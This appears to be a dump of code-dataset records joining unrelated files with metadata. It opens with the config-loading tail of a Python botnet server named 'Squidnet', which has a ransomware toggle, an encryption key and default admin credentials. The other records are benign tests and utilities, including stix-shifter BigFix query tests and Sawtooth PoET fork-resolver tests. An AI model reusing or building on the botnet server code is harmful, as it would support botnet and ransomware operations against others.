int(i.replace("=","").split()[1]) elif i.startswith("\nlogfile") or i.startswith("logfile"): logfile = i.replace("=","").split()[1] elif i.startswith("\nadmin_name") or i.startswith("admin_name"): admin_name = i.replace("=","").split()[1] elif i.startswith("\nadmin_password") or i.startswith("admin_password"): admin_password = i.replace("=","").split()[1] elif i.startswith("\nenc_key") or i.startswith("enc_key"): enc_key = f"{i.replace('=','').split()[1]}=".encode() elif i.startswith("\nftp_dir") or i.startswith("ftp_dir"): ftp_dir = i.replace("=","").split()[1] elif i.startswith("\nransomware_active") or i.startswith("ransomware_active"): ransomware_active = i.replace("=","").split()[1] if ransomware_active.lower() == "f": ransomware_active = False else: ransomware_active = True Squidnet = BotNet(hostip, hostport, self.version, external_host, external_port, admin_name, admin_password, logfile, enc_key, ftp_dir, ransomware_active) Squidnet.start() except Exception as e: self.gen_config_file() def gen_config_file(self): """If there is an error in the usage of the config file, a new config file will be generated, and the user can simply restart the script to have a functional server.""" print(BotNet.logo(None)) print("[+] There is an error in the config file. Re-writing and re-formatting to be able to be used by the server.") gen_content = """ hostip = localhost hostport = 8080 external_host = localhost external_port = 8080 logfile = log.txt admin_name = admin admin_password = adminpassword12345 enc_key = iC0g4NM4xy5JrIbRV-8cZSVgFfQioUX8eTVGYRhWlF8= ftp_dir = Bot_Files ransomware_active = f """ file = open(self.config_file,"w") file.write(gen_content) file.close() print("[+] The Config file has been reformatted and is now usable by the server! Restart the script to start the server.") item = AutoUpdate() item.check_update()
94.41302
748
0.562213
73,119
442,325
3.381105
0.022087
0.013591
0.054243
0.069553
0.887753
0.874765
0.865364
0.857877
0.850168
0.845366
0
0.165531
0.275279
442,325
4,684
749
94.433177
0.605686
0.018441
0
0.783243
0
0.657889
0.917221
0.047196
0
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0.005658
false
0.008487
0.000871
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0.012187
0.002829
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null
0
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0
0
0
0
0
0
0
0
9
b44be26d3f32cdc34083952d56df5500b6f35424
3,940
py
Python
tests/bigfix_tests/test_stix_to_relevance.py
jlstrick83/stix-shifter
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
[ "Apache-2.0" ]
null
null
null
tests/bigfix_tests/test_stix_to_relevance.py
jlstrick83/stix-shifter
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
[ "Apache-2.0" ]
null
null
null
tests/bigfix_tests/test_stix_to_relevance.py
jlstrick83/stix-shifter
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
[ "Apache-2.0" ]
null
null
null
from stix_shifter.stix_translation import stix_translation import unittest translation = stix_translation.StixTranslation() class TestStixToRelevance(unittest.TestCase, object): def test_process_query(self): stix_pattern = "[process:name = 'node' AND file:hashes.'SHA-256' = '0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5']" query = translation.translate('bigfix', 'query', '{}', stix_pattern) # queries = '( "process", name of it | "n/a", process id of it as string | "n/a", "sha256", sha256 of image file of it | "n/a", "sha1", sha1 of image file of it | "n/a", "md5", md5 of image file of it | "n/a", pathname of image file of it | "n/a", (start time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of processes whose (name of it as lowercase = "node" as lowercase AND sha256 of image file of it as lowercase = "0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5" as lowercase )' queries = '<BESAPI xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BESAPI.xsd"><ClientQuery><ApplicabilityRelevance>true</ApplicabilityRelevance><QueryText>( "process", name of it | "n/a", process id of it as string | "n/a", "sha256", sha256 of image file of it | "n/a", "sha1", sha1 of image file of it | "n/a", "md5", md5 of image file of it | "n/a", pathname of image file of it | "n/a", (start time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of processes whose (name of it as lowercase = "node" as lowercase AND sha256 of image file of it as lowercase = "0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5" as lowercase )</QueryText><Target><CustomRelevance>true</CustomRelevance></Target></ClientQuery></BESAPI>' parsed_stix = [{'attribute': 'file:hashes.SHA-256', 'comparison_operator': '=', 'value': '0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5'}, {'attribute': 'process:name', 'comparison_operator': '=', 'value': 'node'}] print(query) assert query == {'queries': queries, 'parsed_stix': parsed_stix} def test_file_query(self): stix_pattern = "[file:name = 'a' AND file:parent_directory_ref.path = '/root' OR file:hashes.'SHA-256' = '2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d']" query = translation.translate('bigfix', 'query', '{}', stix_pattern) # queries = '("file", name of it | "n/a", "sha256", sha256 of it | "n/a", "sha1", sha1 of it | "n/a", "md5", md5 of it | "n/a", pathname of it | "n/a", (modification time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of files whose (name of it as lowercase = "a" as lowercase OR sha256 of it as lowercase = "2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d" as lowercase) of folder ("/root")' queries = '<BESAPI xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BESAPI.xsd"><ClientQuery><ApplicabilityRelevance>true</ApplicabilityRelevance><QueryText>("file", name of it | "n/a", "sha256", sha256 of it | "n/a", "sha1", sha1 of it | "n/a", "md5", md5 of it | "n/a", pathname of it | "n/a", (modification time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of files whose (name of it as lowercase = "a" as lowercase OR sha256 of it as lowercase = "2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d" as lowercase) of folder ("/root")</QueryText><Target><CustomRelevance>true</CustomRelevance></Target></ClientQuery></BESAPI>' parsed_stix = [{'attribute': 'file:hashes.SHA-256', 'comparison_operator': '=', 'value': '2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d'}, {'attribute': 'file:parent_directory_ref.path', 'comparison_operator': '=', 'value': '/root'}, {'attribute': 'file:name', 'comparison_operator': '=', 'value': 'a'}] print(query) assert query == {'queries': queries, 'parsed_stix': parsed_stix}
127.096774
788
0.706599
500
3,940
5.514
0.172
0.049329
0.036271
0.043526
0.758796
0.739935
0.739935
0.739935
0.700762
0.700762
0
0.140736
0.145178
3,940
31
789
127.096774
0.67785
0.234264
0
0.333333
0
0.222222
0.722056
0.310779
0
0
0
0
0.111111
1
0.111111
false
0
0.111111
0
0.277778
0.111111
0
0
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null
0
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1
1
1
1
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null
0
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0
0
0
0
0
0
0
0
0
8
b47e78f35135e2e4d44131befaed6d8df61f1ed2
448
py
Python
exercises_gustguan/ex109_prog.py
Ewerton12F/Python-Notebook
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
[ "MIT" ]
null
null
null
exercises_gustguan/ex109_prog.py
Ewerton12F/Python-Notebook
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
[ "MIT" ]
null
null
null
exercises_gustguan/ex109_prog.py
Ewerton12F/Python-Notebook
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
[ "MIT" ]
null
null
null
import ex109_func p = float(input('Digite um valor: R$')) t = float(input('Digite a taxa: %')) print(f'O valor R${ex109_func.moeda(p)} aumentado em {t}% é R${ex109_func.aumentar(p, t, True)}') print(f'O valor R${ex109_func.moeda(p)} diminuído em {t}% é R${ex109_func.diminuir(p, t, True)}') print(f'O dobro de R${ex109_func.moeda(p)} é R${ex109_func.dobro(p, True)}') print(f'A metade de R${ex109_func.moeda(p)} é R${ex109_func.metade(p,True)}')
44.8
97
0.680804
90
448
3.288889
0.3
0.273649
0.27027
0.202703
0.543919
0.543919
0.385135
0.385135
0.385135
0.195946
0
0.067669
0.109375
448
9
98
49.777778
0.674185
0
0
0
0
0.571429
0.763393
0.430804
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.571429
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
1
0
8
b48d9aa974d3995ef715d92eb70a7ecf9784db7e
172
py
Python
common/savable.py
anjmittu/tranX
51090e38372036eaa109eec74c507cdb61adcf01
[ "Apache-2.0" ]
421
2018-08-27T14:00:05.000Z
2022-03-21T18:15:21.000Z
common/savable.py
anjmittu/tranX
51090e38372036eaa109eec74c507cdb61adcf01
[ "Apache-2.0" ]
34
2018-11-11T22:08:14.000Z
2021-12-21T02:04:06.000Z
common/savable.py
anjmittu/tranX
51090e38372036eaa109eec74c507cdb61adcf01
[ "Apache-2.0" ]
106
2018-10-05T03:56:23.000Z
2022-03-18T18:32:52.000Z
class Savable(object): @staticmethod def load(model_path, *args, **kwargs): pass @staticmethod def save(model_path, *args, **kwargs): pass
19.111111
42
0.604651
19
172
5.368421
0.631579
0.294118
0.254902
0.372549
0.45098
0
0
0
0
0
0
0
0.273256
172
8
43
21.5
0.816
0
0
0.571429
0
0
0
0
0
0
0
0
0
1
0.285714
false
0.285714
0
0
0.428571
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
7
c30652a12cb8d954555623fc920a165c473b9de2
28,467
py
Python
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
mealchain/beta
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
[ "Apache-2.0" ]
1
2017-08-04T10:31:00.000Z
2017-08-04T10:31:00.000Z
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
mealchain/beta
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
[ "Apache-2.0" ]
null
null
null
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
mealchain/beta
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------------------------------------------------------ import shutil import tempfile from importlib import reload from unittest import TestCase from unittest import mock from sawtooth_poet.poet_consensus import poet_fork_resolver from sawtooth_poet_common.protobuf.validator_registry_pb2 \ import ValidatorInfo from sawtooth_poet_common.protobuf.validator_registry_pb2 \ import SignUpInfo # @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.BlockWrapper') # @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' # 'PoetSettingsView') class TestPoetForkResolver(TestCase): def setUp(self): # pylint: disable=invalid-name,global-statement global poet_fork_resolver # PoetBLockResolver uses class variables to hold state # so the module needs to be reloaded after each test to clear state poet_fork_resolver = reload(poet_fork_resolver) self._temp_dir = tempfile.mkdtemp() def tearDown(self): shutil.rmtree(self._temp_dir) @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusStateStore') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusState') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ValidatorRegistryView') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils') def test_new_fork_head_not_poet_block( self, mock_utils, mock_validator_registry_view, mock_consensus_state, mock_poet_enclave_factory, mock_consensus_state_store): """ Test verifies that if the new fork head is not a valid block, raises appropriate exception """ # create a mock_validator_registry_view mock_validator_registry_view.return_value.get_validator_info. \ return_value = \ ValidatorInfo( name='validator_001', id='validator_deadbeef', signup_info=SignUpInfo( poet_public_key='00112233445566778899aabbccddeeff')) # Make utils pretend it cannot deserialize the wait certificate # of the new fork head mock_utils.deserialize_wait_certificate.return_value = None mock_block_cache = mock.MagicMock() mock_state_view_factory = mock.Mock() # create mock_cur_fork_head mock_cur_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543210', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') # create mock_new_fork_head mock_new_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543211', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') # check test fork_resolver = \ poet_fork_resolver.PoetForkResolver( block_cache=mock_block_cache, state_view_factory=mock_state_view_factory, data_dir=self._temp_dir, config_dir=self._temp_dir, validator_id='validator_deadbeef') with self.assertRaises(TypeError) as cm: fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header) self.assertEqual( 'New fork head {} is not a PoET block', str(cm.exception)) @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusStateStore') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusState') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ValidatorRegistryView') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils') def test_cur_fork_head_not_poet_block( self, mock_utils, mock_validator_registry_view, mock_consensus_state, mock_poet_enclave_factory, mock_consensus_state_store): """ Test verifies that if the current fork head is not a valid block, and if new_fork_head.previous_block_id == cur_fork_head.identifier then the new fork head switches consensus. Otherwise, raises the appropriate exception - trying to compare a PoET block to a non-PoET block that is not the direct predecessor """ # create a mock_validator_registry_view mock_validator_registry_view.return_value.get_validator_info. \ return_value = \ ValidatorInfo( name='validator_001', id='validator_deadbeef', signup_info=SignUpInfo( poet_public_key='00112233445566778899aabbccddeeff')) # create a mock_wait_certificate that does nothing in check_valid mock_wait_certificate = mock.Mock() mock_wait_certificate.check_valid.return_value = None # set mock_utils.deserialize_wait_certificate # to return a specific value for each fork_head that is used in # poet_fork_resolver.compare() # with cur_fork_head being deserialized first mock_utils.deserialize_wait_certificate.side_effect = \ [None, mock_wait_certificate, None, mock_wait_certificate] mock_block_cache = mock.MagicMock() mock_state_view_factory = mock.Mock() # create mock_cur_fork_head mock_cur_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543210', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') # create mock_new_fork_head mock_new_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543211', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') fork_resolver = \ poet_fork_resolver.PoetForkResolver( block_cache=mock_block_cache, state_view_factory=mock_state_view_factory, data_dir=self._temp_dir, config_dir=self._temp_dir, validator_id='validator_deadbeef') # Subtest 1: check that the test fails when the current # fork head is not a valid PoET block with self.assertRaises(TypeError) as cm: fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header) self.assertEqual( 'Trying to compare a PoET block to a non-PoET ' 'block that is not the direct predecessor', str(cm.exception)) # Subtest 2: check that if new_fork_head.previous_block_id # == cur_fork_head.identifier # then the new fork head switches consensus # modify mock_cur_fork_header.identifier mock_cur_fork_header.identifier = \ mock_new_fork_header.previous_block_id # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork head switches consensus to PoET' in message) @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusStateStore') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusState') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ValidatorRegistryView') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils') def test_both_valid_poet_blocks( self, mock_utils, mock_validator_registry_view, mock_consensus_state, mock_poet_enclave_factory, mock_consensus_state_store): """ If both current and new fork heads are valid PoET blocks, the test checks if they share the same immediate previous block, then the one with the smaller wait duration is chosen """ # create a mock_validator_registry_view mock_validator_registry_view.return_value.get_validator_info. \ return_value = \ ValidatorInfo( name='validator_001', id='validator_deadbeef', signup_info=SignUpInfo( poet_public_key='00112233445566778899aabbccddeeff')) # create a mock_wait_certificate that does nothing in check_valid mock_wait_certificate = mock.Mock() mock_wait_certificate.check_valid.return_value = None # set new_mock_wait_certificate local_mean and duration mock_wait_certificate.local_mean = 0.0 mock_wait_certificate.duration = 1.0 # create a new_fork_mock_wait_certificate with a higher duration time new_fork_mock_wait_certificate = mock.Mock() new_fork_mock_wait_certificate.check_valid.return_value = None new_fork_mock_wait_certificate.local_mean = 0.0 new_fork_mock_wait_certificate.duration = 2.0 # set mock_utils.deserialize_wait_certificate # to return a specific value for each fork_head that is used in # poet_fork_resolver.compare() # with cur_fork_head being deserialized first mock_utils.deserialize_wait_certificate.side_effect = \ [mock_wait_certificate, new_fork_mock_wait_certificate ] mock_block_cache = mock.MagicMock() mock_state_view_factory = mock.Mock() # create mock_cur_fork_head mock_cur_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543210', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') # create mock_new_fork_head with same previous block id mock_new_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543211', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') fork_resolver = \ poet_fork_resolver.PoetForkResolver( block_cache=mock_block_cache, state_view_factory=mock_state_view_factory, data_dir=self._temp_dir, config_dir=self._temp_dir, validator_id='validator_deadbeef') # Subtest 1: when current fork head has the smaller wait duration with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertFalse(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('Current fork wait duration (%f) ' 'less than new fork wait duration (%f)' in message) # Subtest 2: when new fork head has the smaller wait duration # change new_fork_mock_wait_certificate duration to a smaller value new_fork_mock_wait_certificate.duration = 0.0 # set mock_utils.deserialize_wait_certificate # to return a specific value for each fork_head # with cur_fork_head being deserialized first mock_utils.deserialize_wait_certificate.side_effect = \ [mock_wait_certificate, new_fork_mock_wait_certificate] # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork wait duration (%f) ' 'less than current fork wait duration ' in message) # Subtest 3: when new & current fork heads have # the same wait duration # change new_fork_mock_wait_certificate duration to a smaller value new_fork_mock_wait_certificate.duration = 1.0 # set mock_utils.deserialize_wait_certificate # to return a specific value for each fork_head # with cur_fork_head being deserialized first mock_utils.deserialize_wait_certificate.side_effect = \ [mock_wait_certificate, new_fork_mock_wait_certificate] # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork header signature (%s) ' 'greater than current fork header signature (%s)' in message) @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusStateStore') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ConsensusState') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'ValidatorRegistryView') @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils') def test_different_previous_block_id( self, mock_utils, mock_validator_registry_view, mock_consensus_state, mock_poet_enclave_factory, mock_consensus_state_store): """ When both current and new fork heads are valid PoET blocks with different previous block ids, the test verifies that the one with the higher aggregate local mean wins """ # create a mock_validator_registry_view mock_validator_registry_view.return_value.get_validator_info. \ return_value = \ ValidatorInfo( name='validator_001', id='validator_deadbeef', signup_info=SignUpInfo( poet_public_key='00112233445566778899aabbccddeeff')) # create a mock_wait_certificate that does nothing in check_valid mock_wait_certificate = mock.Mock() mock_wait_certificate.check_valid.return_value = None # set new_mock_wait_certificate local_mean and duration mock_wait_certificate.local_mean = 0.0 # set mock_utils.deserialize_wait_certificate # to return a specific value for each fork_head # with cur_fork_head being deserialized first mock_utils.deserialize_wait_certificate.side_effect = \ [mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate, mock_wait_certificate ] mock_block_cache = mock.MagicMock() mock_state_view_factory = mock.Mock() # create mock_cur_fork_head mock_cur_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543210', signer_pubkey='90834587139405781349807435098745', previous_block_id='2', header_signature='00112233445566778899aabbccddeeff') # create mock_new_fork_head mock_new_fork_header = \ mock.Mock( identifier='0123456789abcdefedcba9876543211', signer_pubkey='90834587139405781349807435098745', previous_block_id='3', header_signature='00112233445566778899aabbccddeeff') fork_resolver = \ poet_fork_resolver.PoetForkResolver( block_cache=mock_block_cache, state_view_factory=mock_state_view_factory, data_dir=self._temp_dir, config_dir=self._temp_dir, validator_id='validator_deadbeef') # Subtest 1: when the current fork head has # the higher aggregate local mean # create a mock_cur_fork_consensus_state mock_cur_fork_consensus_state = mock.Mock() mock_cur_fork_consensus_state.aggregate_local_mean = 1.0 # create a mock_new_fork_consensus_state mock_new_fork_consensus_state = mock.Mock() mock_new_fork_consensus_state.aggregate_local_mean = 0.0 # set mock_consensus_state.consensus_state_for_block_id return # the current & new fork consensus states mock_consensus_state.consensus_state_for_block_id.side_effect = \ [mock_cur_fork_consensus_state, mock_new_fork_consensus_state] # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertFalse(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('Current fork aggregate local mean (%f) ' 'greater than new fork aggregate local mean' in message) # Subtest 2: when the new fork head has # the higher aggregate local mean # set mock_consensus_state.consensus_state_for_block_id return # the current & new fork consensus states mock_consensus_state.consensus_state_for_block_id.side_effect = \ [mock_cur_fork_consensus_state, mock_new_fork_consensus_state, mock_new_fork_consensus_state] # change the aggregate_local_mean values mock_cur_fork_consensus_state.aggregate_local_mean = 0.0 mock_new_fork_consensus_state.aggregate_local_mean = 1.0 # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork aggregate local mean (%f) ' 'greater than current fork aggregate local mean ' in message) # Subtest 3: when both the new & current fork heads have # the same aggregate local mean # set mock_consensus_state.consensus_state_for_block_id return # the current & new fork consensus states mock_consensus_state.consensus_state_for_block_id.side_effect = \ [mock_cur_fork_consensus_state, mock_new_fork_consensus_state, mock_new_fork_consensus_state] # set the aggregate_local_mean values equal mock_cur_fork_consensus_state.aggregate_local_mean = 1.0 mock_new_fork_consensus_state.aggregate_local_mean = 1.0 # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork header signature (%s) ' 'greater than current fork header signature (%s)' in message) # Subset 4: If we have gotten to this point and we have not chosen # a fork head yet, we are going to fall back # on using the block identifiers (header signatures). # The lexicographically larger one will be the chosen one. # create mock_new_fork_head with a smaller header_signature mock_smaller_header_signature = \ mock.Mock( identifier='0123456789abcdefedcba9876543211', signer_pubkey='90834587139405781349807435098745', previous_block_id='4', header_signature='00112233445566778899aabbccddee') # create a mock_smaller_header_signature_consensus_state mock_smaller_header_signature_consensus_state = mock.Mock() mock_smaller_header_signature_consensus_state.\ aggregate_local_mean = 0.0 mock_cur_fork_consensus_state.aggregate_local_mean = 0.0 mock_consensus_state.consensus_state_for_block_id.side_effect = \ [mock_cur_fork_consensus_state, mock_smaller_header_signature_consensus_state] # check test when Current fork header signature is greater than # the new fork header signature with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertFalse(fork_resolver.compare_forks( cur_fork_head=mock_cur_fork_header, new_fork_head=mock_smaller_header_signature)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('Current fork header signature' '(%s) greater than new fork header signature (%s)' in message) # Subtest 5: Check when new header signature is greater than # the current fork header signature mock_consensus_state.consensus_state_for_block_id.side_effect = \ [mock_smaller_header_signature_consensus_state, mock_new_fork_consensus_state, mock_new_fork_consensus_state] mock_smaller_header_signature_consensus_state.\ aggregate_local_mean = 0.0 mock_new_fork_consensus_state.aggregate_local_mean = 0.0 # check test with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.' 'LOGGER') as mock_logger: self.assertTrue(fork_resolver.compare_forks( cur_fork_head=mock_smaller_header_signature, new_fork_head=mock_new_fork_header)) # Could be a hack, but verify that the appropriate log message is # generated - so we at least have some faith that the failure was # because of what we are testing and not something else. I know # that this is fragile if the log message is changed, so would # accept any suggestions on a better way to verify that the # function fails for the reason we expect. (message, *_), _ = mock_logger.info.call_args self.assertTrue('New fork header signature (%s) ' 'greater than current fork header signature (%s)' in message)
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7
6f295905e6d94eaa88d9e05897b2cd61e88454a2
168
py
Python
myelin/dp/__init__.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
null
null
null
myelin/dp/__init__.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
9
2020-03-24T15:46:12.000Z
2021-09-11T16:23:59.000Z
myelin/dp/__init__.py
davidrobles/myelin
af76d4ec41f9b4f9be42fc12094aab6f879db770
[ "MIT" ]
null
null
null
from myelin.dp.value_iteration import ValueIteration from myelin.dp.policy_iteration import PolicyIteration from myelin.dp.value_iteration import ValueIterationCallback
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0.243243
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7
6f3c607033fd16ae9e4b8e892d54238cd291d030
134
py
Python
colosseum/mdps/deep_sea/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
colosseum/mdps/deep_sea/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
colosseum/mdps/deep_sea/__init__.py
MichelangeloConserva/Colosseum
b0711fd9ce75520deb74cda75c148984a8e4152f
[ "MIT" ]
null
null
null
from colosseum.mdps.deep_sea.continuous.mdp import DeepSeaContinuous from colosseum.mdps.deep_sea.episodic.mdp import DeepSeaEpisodic
44.666667
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8
48ebcb8a8e33b51a96de027196bbcd751c37b8dc
9,900
py
Python
piecewise/fuzzy/prediction.py
jtbish/piecewise
d27e095e298698d83901bfd1236e0e0669261136
[ "MIT" ]
3
2019-12-04T02:28:08.000Z
2022-02-02T13:13:36.000Z
piecewise/fuzzy/prediction.py
jtbish/piecewise
d27e095e298698d83901bfd1236e0e0669261136
[ "MIT" ]
5
2020-01-15T04:33:36.000Z
2021-03-26T14:58:47.000Z
piecewise/fuzzy/prediction.py
jtbish/piecewise
d27e095e298698d83901bfd1236e0e0669261136
[ "MIT" ]
1
2020-06-04T08:55:27.000Z
2020-06-04T08:55:27.000Z
